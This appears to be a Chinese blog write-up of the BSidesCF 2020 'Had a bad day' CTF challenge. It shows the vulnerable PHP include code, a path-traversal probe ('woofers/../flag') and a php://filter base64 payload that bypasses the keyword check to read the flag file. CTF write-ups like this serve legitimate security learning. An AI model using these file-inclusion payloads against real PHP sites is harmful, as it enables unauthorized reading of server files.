[BSidesCF 2020]Had a bad day
打开题目
问我have a bad day?
随便点一个出现了
地址栏出现了?category=woofers
然后点另外一个
地址栏出现了?category=meowers
于是推测这个可能是打开某个页面
于是我尝试用get传参?category=flag.php
出现了只支持woofers和meowers也就是前面点的那个
然后我尝试在woofers后面加个.php
结果出现了
说明它是你输入一个然后他会自动补上一个.php
然后我找不到思路了,根据题目上面提供了github链接我找到了源码
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
然后我本来以为是用数组来绕过strops函数,
结果出现了这个,失败了。
然后我csdn上面看了下别人的wp。
说要用php伪协议读取。
根据前面源代码可知,要读文件必须要有woofers或者meowers
于是get传参woofers/../flag
然后在源代码里面看到了
<!-- Can you read this flag? -->
要用php伪协议读取flag
1 | ?category=php: //filter/convert.base64-encode/resource=flag |
结果出现了
Sorry, we currently only support woofers and meowers.
我想起来读文件里面必须要有index,woofers之中的一个所以我改payload:
1 | ?category=php: //filter/convert.base64-encode/woofers/resource=flag |
然后得到了:
1 | PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo= |
然后解个密就得到答案了。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY